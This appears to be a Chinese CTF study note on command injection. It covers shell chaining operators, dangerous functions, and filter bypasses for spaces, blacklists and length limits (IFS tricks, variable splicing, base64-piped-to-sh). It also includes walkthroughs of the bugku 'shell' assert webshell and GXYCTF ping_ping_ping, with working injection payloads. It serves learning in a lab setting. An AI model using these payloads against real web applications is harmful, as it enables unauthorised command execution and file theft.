命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞,通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、发送邮件、转换图片等功能都可能出现该类漏洞。
常用命令 在win或linux下, ||: [command1]||[command2]表示先执行command1, 若command1为假,则执行command2; &&: 先执行command1, 若为真,则执行command2 |: 表示只执行command2(在必须输入command1且只想返回command2(比如回显行数被限定)的时候有用) &: 先执行command1再执行command2 ;: 前面的执行完执行后面的 ls /(注意空格): 列出根目录下的所有文件 pwd: (print work directory), 用于立刻显示当前所在目录
常见危险函数 PHP: system exec passthru shell_exec popen proc_open
Python: system popen subprocess.call spawn
Java: java.lang.Runtime.getRuntime().exec(command)
命令联合执行 就是利用|、||、&、&&
内联执行 就是将反引号内的输出当作输入执行 作业:
1 /?ip=127.0.0.1|cat $IFS$9 `ls `
绕过 命令执行绕过空格 1 2 3 4 5 6 7 8 9 10 11 12 13 $ {IFS}$9 {IFS}$IFS $ {IFS}$IFS $9 $IFS $1 //$1 改成$ 加其他数字貌似都行 IFS < <> {cat ,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab) X=$ 'cat\x09./flag.php' ;$X (\x09表示tab,也可以用\x20)
黑名单绕过 1 2 3 4 5 a=l;b=s;$a $b echo "bHM=" | base64 -d // base64绕过'ls' --->思路扩展,可否换成其他编码呢? /?in/ ?s => /bin/ ls cat /etc/ pass'w' d // 连接符绕过 cat$x /etc/ passwd // 未定义的初始化变量绕过
长度限制绕过 1 2 3 4 5 >wget\ >foo.\ >com ls -t>a sh a
上述方法为通过命令行重定向写入命令 ,通过ls将这些命令写入文件a,最后执行
实战 bugku shell 打开后发现是空白页面,根据提示:
1 2 3 4 $poc ="a#s#s#e#r#t" ;$poc_1 =explode ("#" ,$poc ); $poc_2 =$poc_1 [0 ].$poc_1 [1 ].$poc_1 [2 ].$poc_1 [3 ].$poc_1 [4 ].$poc_1 [5 ]; $poc_2 ($_GET ['s' ]);
于是输入/?s=system(‘ls’) 返回: flaga15808abee46a1d5.txt index.php
所以这题讲了个啥? 好像是科普了一个一句话木马 科普: assert是能执行shell命令的危险函数之一
ping_ping_ping GXYCTF 命令联合执行 进入后是一个ping网址,这类题见了8下3次了,属于命令执行漏洞(或sql注入),需要对linux指令有一定了解 (这种网站路由器种经常会见到) 输入127.0.0.1,ping成功了,说明有命令执行漏洞(为什么呢? 某个wp说的,俺也8清楚….) 然后因为贫瘠的linux知识,于是先试试sql注入吧 闭合失败….. 那就是命令执行漏洞了 开始注
1 2 3 4 5 /?ip=127.0.0.1 | ls //成功回显flag.php /?ip=127.0.0.1;cat flag.php //回显"fuxk your space" ,说明检测空格,需要绕过 /?ip=127.0.0.1;cat ${IFS} $9index .php //回显"fuxk your symbol" ,没看懂....这下没辙了 /?ip=127.0.0.1;cat %20flag.php //"fuxk your flag" ,屏蔽flag关键词 /?ip=127.0.0.1|cat $IFS$9 `ls ` //回显了index.php的内容
但是为什么只有后半部分的内容?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /? ip= | \'| \"|\\ |\(| \) |\[|\]|\{|\}/" , $ip , $match )){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\' |\" |\\ |\(| \) |\[|\]|\{|\}/" , $ip , $match ); die("fxck your symbol!" ); } else if (preg_match("/ /" , $ip )){ die("fxck your space!" ); } else if (preg_match("/bash/" , $ip )){ die("fxck your bash!" ); } else if (preg_match("/.*f.*l.*a.*g.*/" , $ip )){ die("fxck your flag!" ); } $a = shell_exec("ping -c 4 " .$ip ); echo " " ; print_r($a ); }?>
好吧…前3个都能想办法绕过,但第4个…. 有几种方法,都记录一下
变量覆盖 1 2 ?ip=127.0 .0.1 ;a=g;cat $IFS $1fla $a .php 有flag ?ip=127.0 .0.1 ;b=ag;a=fl ;cat $IFS $1 $a $b .php 有flag
然后有一些疑惑的地方: 为什么最终flag是在源码的注释里写的? 想了想明白了,这个是出题人挖的坑,因为flag.php文件写的flag就是用注释括起来的,于是最终嵌入html代码时就会只在源码中显示
bash $ sh +base64 1 2 3 ?ip=127.0 .0.1 ;echo$IFS $1Y2F0IGZsYWcucGhw |base64$IFS $1 -d|bash // 将flag.php进行base64编码,然后'bash' 指执行前面的echo脚本(和源码拼接起来)// 当然这里的bash被过滤了,但是用sh也是一样滴 ?ip=127.0 .0.1 ;echo$IFS $1Y2F0IGZsYWcucGhw |base64$IFS $1 -d|sh